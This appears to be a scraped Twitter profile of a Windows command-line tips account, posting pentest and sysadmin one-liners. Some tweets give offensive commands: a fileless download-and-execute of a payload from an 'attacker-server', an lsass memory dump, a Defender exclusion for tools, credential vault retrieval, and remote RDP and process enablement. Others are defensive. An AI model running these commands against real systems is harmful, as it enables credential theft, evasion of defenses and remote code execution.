Windows CLI gems (@wincmdfu) 's Twitter Profile
Windows CLI gems

@wincmdfu

Managed by @riyazwalikar

ID: 2543731338

linkhttp://ibreak.software calendar_today03-06-2014 15:17:49

134 Tweet

6,6K Followers

1 Following

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Download and execute a #PowerShell script without touching the disk (fileless). powershell -exec bypass -c "iwr('http://attacker-server/payload.ps1')|iex" #pentest #postexploitation #oscp

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Happy new year! Map #Sysinternals tools folder locally, run tools when required. Useful on a compromised remote machine to avoid tool clutter. net use Z: \\live.sysinternals.com\tools\ "/user:" dir Z: Z:\procdump -accepteula -ma lsass.exe lsassdmp #pentest #sysadmin #redteam

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Get a list of IPs connected via #RDP so far PS C:\> Get-WinEvent -Log 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | select -exp Properties | where {$_.Value -like '*.*.*.*' } | sort Value -u #sysadmin #PowerShell #audit #blueteam

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Add a file/folder to #Windows Defender exclusion list C:\>powershell -exec bypass - "Add-MpPreference -ExclusionPath 'D:\EvilFolder\Tools'" useful if you want to move #pentest tools to a Windows machine without Defender interfering Admin UAC prompt required #powershell #oscp

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

#Powershell script to fetch missing #Windows updates PS C:\> (New-Object -ComObject microsoft.update.session).CreateUpdateSearcher().Search("IsHidden=0 and IsInstalled=0").Updates | select Title,RebootRequired,CVEIds,IsMandatory #security #Microsoft #security #pentest #redteam

Riyaz Walikar (@riyazwalikar) 's Twitter Profile Photo

From thick #client #exploitation to becoming #Kubernetes cluster Admin  - The story of a fun bug we found and it's exploitation blog.appsecco.com/from-thick-cli… #k8s #windows #privilege #escalation #sysinternals #penetration #pentest cc Appsecco

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

#Powershell get list of processes with command line & username PS C:\> gwmi win32_process|select processid,name,commandline,path,@{name="username";ex={$_.getowner().user}} add -ComputerName "NAME-HERE" to gwmi to run this remotely #security #malware #pentest #redteam #blueteam

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Retrieve credentials stored in the Win Credential Locker PS C:\> [Windows.Security.Credentials.PasswordVault,.,ContentType=WindowsRuntime] PS C:\> (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() #oscp #security #pentest #redteam #PowerShell

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Delete all #InternetExplorer history, cookies, form data, pwds & temporary files. C:\> rundll32.exe inetcpl.cpl,ClearMyTracksByProcess 255

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

[UAC] Enable ps-remoting on remote sys via #wmic C:\> wmic /node:ip process call create "powershell enable-psremoting -force" #WinRM

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

En(Dis)able features using the Deployment Image Servicing & Management tool: C:\> dism /online /enable-feature /featurename:TFTP #PenTest

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Disable SMBv1 (apart frm patching MS17-010) to prevent #wannacrypt: C:\> dism /online /norestart /disable-feature /featurename:SMB1Protocol

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Find unquoted services for #windows #privesc: C:\> wmic service get displayname,pathname|findstr /IV "C:\Windows"|findstr /IV """ #pentest

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Enable #RDP reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f #PenTest

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

List installed progrms,version & path C:\> wmic product get name, version, installlocation wmic product get /? #pentest #exploit #privesc

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Wrote a post on executing Windows binaries through #WSL. Lots of commands. Was trying to setup a PoC for #bashware: ibreak.software/executing-wind…

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Stop #Badrabbit Elevatd cmd in C:\Windows\ echo "" > infpub.dat echo "" > cscc.dat cacls infpub.dat /D everyone cacls cscc.dat /D everyone

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Enable RDP remotely via #wmic on #Windows 2008 and above: C:\> wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Set IP address using #netsh. Needs elevation. Fetch all interface names: C:\> netsh interface ip show interfaces Set a IP address & gateway: C:\> netsh interface ip add address name="Wi-Fi" addr=192.168.100.200 mask=255.255.255.0 gateway=192.168.100.1 gwmetric=2000

Windows CLI gems (@wincmdfu) 's Twitter Profile Photo

Display list of blocked ports on the #firewall using #powershell. Add other attributes to 'select' to increase verbosity. PS C:\> $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports #sysadmin #windows